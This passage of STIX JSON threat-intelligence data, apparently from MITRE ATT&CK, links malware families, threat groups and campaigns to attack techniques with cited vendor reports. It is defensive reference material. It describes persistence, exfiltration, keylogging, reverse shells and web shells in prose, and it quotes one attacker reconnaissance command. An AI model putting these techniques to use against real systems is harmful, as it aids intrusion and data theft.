","relationship_type":"uses","source_ref":"campaign--ba6dfa37-f401-4140-88b0-8938f2895e61","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7ced0df2-1d05-40ea-986e-28692c028d92","type":"relationship","created":"2019-06-24T13:13:57.195Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.","url":"https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/","source_name":"Intezer HiddenWasp Map 2019"}],"modified":"2021-01-07T19:40:45.120Z","description":"[HiddenWasp](https://attack.mitre.org/software/S0394) installs reboot persistence by adding itself to /etc/rc.local.(Citation: Intezer HiddenWasp Map 2019)","relationship_type":"uses","source_ref":"malware--fc774af4-533b-4724-96d2-ac1026316794","target_ref":"attack-pattern--dca670cf-eeec-438f-8185-fd959d9ef211","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7cf1506f-3064-4d8f-ac50-ff6b9a4fd3c3","type":"relationship","created":"2020-12-17T02:14:34.275Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-12-17T02:14:34.275Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--861b8fd2-57f3-4ee1-ab5d-c19c3b8c7a4a","target_ref":"attack-pattern--94cb00a4-b295-4d06-aa2b-5653b9c1be9c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7cf62137-2a28-4a11-b64d-8b9409656bc9","type":"relationship","created":"2021-10-08T15:22:00.007Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Checkpoint IndigoZebra July 2021","url":"https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/","description":"CheckPoint Research. (2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. Retrieved September 24, 2021."}],"modified":"2021-10-08T15:22:00.007Z","description":"[BoxCaon](https://attack.mitre.org/software/S0651) uploads files and data from a compromised host over the existing C2 channel.(Citation: Checkpoint IndigoZebra July 2021)","relationship_type":"uses","source_ref":"malware--919a056e-5104-43b9-ad55-2ac929108b71","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7cf7d162-a34f-4951-a643-5bf959283f6b","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Dragonfly","description":"Symantec Security Response. (2014, June 30). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.","url":"https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7382dce7-0260-4782-84cc-890971ed3f17&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments"},{"source_name":"Secureworks Karagany July 2019","url":"https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector","description":"Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020."}],"modified":"2020-08-13T14:05:45.255Z","description":"[Trojan.Karagany](https://attack.mitre.org/software/S0094) can create directories to store plugin output and stage data for exfiltration.(Citation: Symantec Dragonfly)(Citation: Secureworks Karagany July 2019)","relationship_type":"uses","source_ref":"malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7cfb528c-6c2d-4f67-b59e-c343678db839","type":"relationship","created":"2019-03-26T16:19:52.425Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Nyetya June 2017","url":"https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html","description":"Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019."},{"description":"US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware. Retrieved March 15, 2019.","url":"https://www.us-cert.gov/ncas/alerts/TA17-181A","source_name":"US-CERT NotPetya 2017"},{"description":"The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.","url":"https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools","source_name":"NCSC Joint Report Public Tools"}],"modified":"2021-01-25T15:43:46.051Z","description":"[NotPetya](https://attack.mitre.org/software/S0368) contains a modified version of [Mimikatz](https://attack.mitre.org/software/S0002) to help gather credentials that are later used for lateral movement.(Citation: Talos Nyetya June 2017)(Citation: US-CERT NotPetya 2017)(Citation: NCSC Joint Report Public Tools)","relationship_type":"uses","source_ref":"malware--5719af9d-6b16-46f9-9b28-fb019541ddbb","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7cfc1c10-b3d5-4e9e-907e-7379c3771161","type":"relationship","created":"2021-03-22T02:17:41.927Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"wardle evilquest partii","url":"https://objective-see.com/blog/blog_0x60.html","description":"Patrick Wardle. (2020, July 3). OSX.EvilQuest Uncovered part ii: insidious capabilities. Retrieved March 21, 2021."},{"source_name":"reed thiefquest ransomware analysis","url":"https://blog.malwarebytes.com/mac/2020/07/mac-thiefquest-malware-may-not-be-ransomware-after-all/","description":"Thomas Reed. (2020, July 7). Mac ThiefQuest malware may not be ransomware after all. Retrieved March 22, 2021."}],"modified":"2021-04-26T20:02:14.787Z","description":"[ThiefQuest](https://attack.mitre.org/software/S0595) exfiltrates targeted file extensions in the /Users/ folder to the command and control server via unencrypted HTTP. Network packets contain a string with two pieces of information: a file path and the contents of the file in a base64 encoded string.(Citation: wardle evilquest partii)(Citation: reed thiefquest ransomware analysis)","relationship_type":"uses","source_ref":"malware--727afb95-3d0f-4451-b297-362a43909923","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7d020981-51b3-4ff6-825f-7cd192c934e1","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye Poison Ivy","description":"FireEye. (2014). POISON IVY: Assessing Damage and Extracting Intelligence. Retrieved September 19, 2024.","url":"https://www.mandiant.com/sites/default/files/2021-09/rpt-poison-ivy.pdf"},{"source_name":"Symantec Darkmoon Aug 2005","description":"Hayashi, K. (2005, August 18). Backdoor.Darkmoon. Retrieved February 23, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-19T14:30:03.924Z","description":"[PoisonIvy](https://attack.mitre.org/software/S0012) can inject a malicious DLL into a process.(Citation: FireEye Poison Ivy)(Citation: Symantec Darkmoon Aug 2005)","relationship_type":"uses","source_ref":"malware--b42378e0-f147-496f-992a-26a49705395b","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7d047513-5fbf-4d9e-8a5d-54317123e34c","type":"relationship","created":"2017-05-31T21:33:27.052Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html","description":"FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.","source_name":"FireEye admin@338"}],"modified":"2020-03-18T19:54:59.183Z","description":"[admin@338](https://attack.mitre.org/groups/G0018) actors used the following command following exploitation of a machine with [LOWBALL](https://attack.mitre.org/software/S0042) malware to list local groups: net localgroup administrator >> %temp%\\download(Citation: FireEye admin@338)","relationship_type":"uses","source_ref":"intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756","target_ref":"attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7d086d88-59d1-444a-a766-ef52216625ff","type":"relationship","created":"2020-05-06T18:10:59.301Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro BlackTech June 2017","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/","description":"Bermejo, L., et al. (2017, June 22). Following the Trail of BlackTech’s Cyber Espionage Campaigns. Retrieved May 5, 2020."}],"modified":"2020-05-06T18:10:59.301Z","description":"[Kivars](https://attack.mitre.org/software/S0437) has the ability to initiate keylogging on the infected host.(Citation: TrendMicro BlackTech June 2017)","relationship_type":"uses","source_ref":"malware--b2d134a1-7bd5-4293-94d4-8fc978cb1cd7","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7d101f53-3b5a-467a-aeb8-172cd77e92ce","created":"2020-11-02T19:03:11.933Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Malwarebytes Kimsuky June 2021","description":"Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021.","url":"https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/"},{"source_name":"VirusBulletin Kimsuky October 2019","description":"Kim, J. et al. (2019, October). KIMSUKY GROUP: TRACKING THE KING OF THE SPEAR PHISHING. Retrieved November 2, 2020.","url":"https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-kimsuky-group-tracking-king-spearphishing/"},{"source_name":"KISA Operation Muzabi","description":"KISA. (2021). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 8, 2024.","url":"https://web.archive.org/web/20220328121326/https://boho.or.kr/filedownload.do?attach_file_seq=2695&attach_file_id=EpF2695.pdf"},{"source_name":"Proofpoint TA427 April 2024","description":"Lesnewich, G. et al. (2024, April 16). From Social Engineering to DMARC Abuse: TA427’s Art of Information Gathering. Retrieved May 3, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/social-engineering-dmarc-abuse-ta427s-art-information-gathering"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-30T17:31:57.413Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has used links in e-mail to steal account information including web beacons for target profiling.(Citation: VirusBulletin Kimsuky October 2019)(Citation: Malwarebytes Kimsuky June 2021)(Citation: KISA Operation Muzabi)(Citation: Proofpoint TA427 April 2024)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--2d3f5b3c-54ca-4f4d-bb1f-849346d31230","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7d115073-c008-4394-867d-07c385d3db87","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html","description":"Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.","source_name":"Talos Cobalt Group July 2018"},{"url":"https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf","description":"Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018.","source_name":"PTSecurity Cobalt Group Aug 2017"},{"url":"https://www.group-ib.com/blog/cobalt","description":"Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.","source_name":"Group IB Cobalt Aug 2017"},{"source_name":"Morphisec Cobalt Gang Oct 2018","url":"https://blog.morphisec.com/cobalt-gang-2.0","description":"Gorelik, M. (2018, October 08). Cobalt Group 2.0. Retrieved November 5, 2018."},{"source_name":"Unit 42 Cobalt Gang Oct 2018","url":"https://researchcenter.paloaltonetworks.com/2018/10/unit42-new-techniques-uncover-attribute-cobalt-gang-commodity-builders-infrastructure-revealed/","description":"Unit 42. (2018, October 25). New Techniques to Uncover and Attribute Financial actors Commodity Builders and Infrastructure Revealed. Retrieved December 11, 2018."},{"description":"Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November 20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit Against Russian Banks. Retrieved March 7, 2019.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/","source_name":"TrendMicro Cobalt Group Nov 2017"}],"modified":"2020-06-23T19:41:51.997Z","description":"[Cobalt Group](https://attack.mitre.org/groups/G0080) has sent Word OLE compound documents with malicious obfuscated VBA macros that will run upon user execution.(Citation: Talos Cobalt Group July 2018)(Citation: PTSecurity Cobalt Group Aug 2017)(Citation: Group IB Cobalt Aug 2017)(Citation: Morphisec Cobalt Gang Oct 2018)(Citation: Unit 42 Cobalt Gang Oct 2018)(Citation: TrendMicro Cobalt Group Nov 2017)","relationship_type":"uses","source_ref":"intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7d12ca01-c979-4fdf-8548-9da12c105ba0","created":"2023-09-27T14:42:00.404Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Booz Allen Hamilton","description":"Booz Allen Hamilton When The Lights Went Out Retrieved. 2019/10/22 ","url":"https://www.boozallen.com/content/dam/boozallen/documents/2016/09/ukraine-report-when-the-lights-went-out.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-27T15:22:30.525Z","description":"During the [2015 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0028), [Sandworm Team](https://attack.mitre.org/groups/G0034) pushed additional malicious tools onto an infected system to steal user credentials, move laterally, and destroy data. (Citation: Booz Allen Hamilton)","relationship_type":"uses","source_ref":"campaign--46421788-b6e1-4256-b351-f8beffd1afba","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7d13961a-5fcc-4c97-aeda-f3e42325aabf","type":"relationship","created":"2020-09-11T13:27:44.314Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cyberreason Anchor December 2019","url":"https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware","description":"Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."}],"modified":"2020-09-11T13:27:44.314Z","description":"[TrickBot](https://attack.mitre.org/software/S0266) can Base64-encode C2 commands.(Citation: Cyberreason Anchor December 2019)","relationship_type":"uses","source_ref":"malware--00806466-754d-44ea-ad6f-0caf59cb8556","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7d181964-875f-4132-8882-46e9dd18e893","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"RATANKBA","description":"Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.","url":"https://www.trendmicro.com/en_us/research/17/b/ratankba-watering-holes-against-enterprises.html"}],"modified":"2020-09-02T18:46:33.172Z","description":"[RATANKBA](https://attack.mitre.org/software/S0241) uses the net user command.(Citation: RATANKBA)","relationship_type":"uses","source_ref":"malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c","target_ref":"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7d18e839-3e68-4168-8245-4278c6f0dc01","created":"2022-09-15T17:29:49.160Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"BlackBerry CostaRicto November 2020","description":"The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021.","url":"https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-05T15:57:43.136Z","description":"During [CostaRicto](https://attack.mitre.org/campaigns/C0004), the threat actors used scheduled tasks to download backdoor tools.(Citation: BlackBerry CostaRicto November 2020) ","relationship_type":"uses","source_ref":"campaign--f9cc545e-b0ef-4b92-8884-a3a4427609f6","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7d1c227c-25b9-4e8b-ad88-618d9f382420","created":"2023-10-03T18:33:37.106Z","revoked":false,"external_references":[{"source_name":"Telefonica Snip3 December 2021","description":"Jornet, A. (2021, December 23). Snip3, an investigation into malware. Retrieved September 19, 2023.","url":"https://telefonicatech.com/blog/snip3-investigacion-malware"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-03T18:33:37.106Z","description":"[Snip3](https://attack.mitre.org/software/S1086) has been delivered to victims through malicious e-mail attachments.(Citation: Telefonica Snip3 December 2021)","relationship_type":"uses","source_ref":"malware--4327aff5-f194-440c-b499-4d9730cc1eab","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7d1d4ffd-7c60-4a83-bcfa-66413bbe7212","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/","description":"Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims’ Systems. Retrieved June 6, 2018.","source_name":"McAfee Gold Dragon"}],"modified":"2020-04-21T23:09:31.610Z","description":"[RunningRAT](https://attack.mitre.org/software/S0253) adds itself to the Registry key Software\\Microsoft\\Windows\\CurrentVersion\\Run to establish persistence upon reboot.(Citation: McAfee Gold Dragon)","relationship_type":"uses","source_ref":"malware--60d50676-459a-47dd-92e9-a827a9fe9c58","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7d1e24d5-1405-4ade-a4f3-ddb946b46783","type":"relationship","created":"2020-06-19T21:25:43.591Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","source_name":"Cybereason Cobalt Kitty 2017"}],"modified":"2020-06-29T21:37:55.900Z","description":"[Goopy](https://attack.mitre.org/software/S0477) has the ability to use cmd.exe to execute commands passed from an Outlook C2 channel.(Citation: Cybereason Cobalt Kitty 2017)\t","relationship_type":"uses","source_ref":"malware--eac3d77f-2b7b-4599-ba74-948dc16633ad","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7d20cbaf-a154-4192-9a97-ef2662d07246","type":"relationship","created":"2019-04-23T18:41:37.124Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Thomas Reed. (2018, October 29). Mac cryptocurrency ticker app installs backdoors. Retrieved April 23, 2019.","url":"https://blog.malwarebytes.com/threat-analysis/2018/10/mac-cryptocurrency-ticker-app-installs-backdoors/","source_name":"CoinTicker 2019"}],"modified":"2020-03-17T18:46:03.910Z","description":"[CoinTicker](https://attack.mitre.org/software/S0369) executes a bash script to establish a reverse shell.(Citation: CoinTicker 2019)","relationship_type":"uses","source_ref":"malware--d1531eaa-9e17-473e-a680-3298469662c3","target_ref":"attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7d20e7fe-b5e6-4ee9-8d5f-dd3e9ca9365d","type":"relationship","created":"2022-03-30T14:26:51.851Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.851Z","description":"Monitor contextual data about a service/daemon, which may include information such as name, service executable, start type that that may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms.","source_ref":"x-mitre-data-component--74fa567d-bc90-425c-8a41-3c703abb221c","target_ref":"attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7d244034-588d-4861-81ea-8c1db44f7055","type":"relationship","created":"2020-01-24T14:17:44.082Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-24T14:17:44.082Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--63220765-d418-44de-8fae-694b3912317d","target_ref":"attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7d2c1704-b190-4b47-854c-5c1e122fa5ce","created":"2022-09-29T17:57:55.081Z","revoked":false,"external_references":[{"source_name":"DFIR Conti Bazar Nov 2021","description":"DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.","url":"https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-29T17:57:55.081Z","description":"During [C0015](https://attack.mitre.org/campaigns/C0015), the threat actors used a malicious HTA file that contained a mix of HTML and JavaScript/VBScript code.(Citation: DFIR Conti Bazar Nov 2021)","relationship_type":"uses","source_ref":"campaign--78068e68-4124-4243-b6f4-76e4e5be8a06","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7d31e147-a32b-47f6-a39c-ef8b3c168ec5","created":"2024-02-08T18:38:59.040Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Pulse Secure Zero-Day April 2021","description":"Perez, D. et al. (2021, April 20). Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-08T18:42:09.671Z","description":"[PULSECHECK](https://attack.mitre.org/software/S1108) is a web shell that can enable command execution on compromised servers.(Citation: Mandiant Pulse Secure Zero-Day April 2021)","relationship_type":"uses","source_ref":"malware--9a097d18-d15f-4635-a4f1-189df7efdc40","target_ref":"attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7d349715-69e8-4e3c-bb98-8dc8d3051ca2","type":"relationship","created":"2019-03-11T16:44:33.881Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellEmpire/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-04-09T14:46:59.578Z","description":"[Empire](https://attack.mitre.org/software/S0363) contains some modules that leverage API hooking to carry out tasks, such as netripper.(Citation: Github PowerShell Empire)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--f5946b5e-9408-485f-a7f7-b5efc88909b6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7d37a0f1-1aea-456c-ade6-6d463a14fc14","created":"2022-09-30T15:58:27.037Z","revoked":false,"external_references":[{"source_name":"DHS CISA 